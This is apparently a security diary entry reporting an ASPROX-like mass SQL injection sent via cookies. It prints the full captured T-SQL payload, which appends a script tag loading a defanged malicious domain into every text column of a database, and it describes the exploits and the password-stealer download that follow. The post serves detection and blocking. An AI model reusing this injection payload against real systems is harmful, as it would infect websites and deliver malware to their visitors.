The injection itself (starting with DECLARE...) looks a lot like the technique used by ASPROX (see our earlier diary), but that the injection attempt here is made not via the URL but rather via a cookie is a new twist. Mike was able to capture the full code block:

DECLARE @T varchar(255),@C varchar(255),@X varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name,b.xtype from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) and a.name<>'dtproperties' and a.id not in(select parent_obj
from sysobjects where xtype='d') OPEN Table_Cursor FETCH NEXT FROM
Table_Cursor INTO @T,@C,@X WHILE(@@FETCH_STATUS=0) BEGIN if (@X=167 or
@X=231) exec('alter table ['+@T+'] alter column ['+@C+']
varchar(1000);update ['+@T+'] set ['+@C+']=['+@C+']+''<script
src=hxxp://ytgw123:cn></script>''') else exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar(2000),['+@C+']))+''<script
src=hxxp://ytgw123:cn></script>''') FETCH NEXT FROM Table_Cursor INTO
@T,@C,@X END CLOSE Table_Cursor DEALLOCATE Table_Cursor

While this again looks reasonably similar to the earlier injections, we haven't seen this particular form before. The URL has been defanged above, but is still live. It dishes out a handful of exploits, and in the end delivers a file called "x.exe" that looks like yet another password stealer, but has poor detection at this time (Virustotal). One of the exploits contains the string "I LOVE gameee TEAM". Well: We don't.

Please let us know if you see attempted SQL injection via cookies in your logs.

Update 1650UTC: If you use Google to check for sites containing ytgw123-dot-cn, you'll see that the wave is still spreading. As your users will likely encounter such infected sites for weeks to come, add this domain to your URL block list!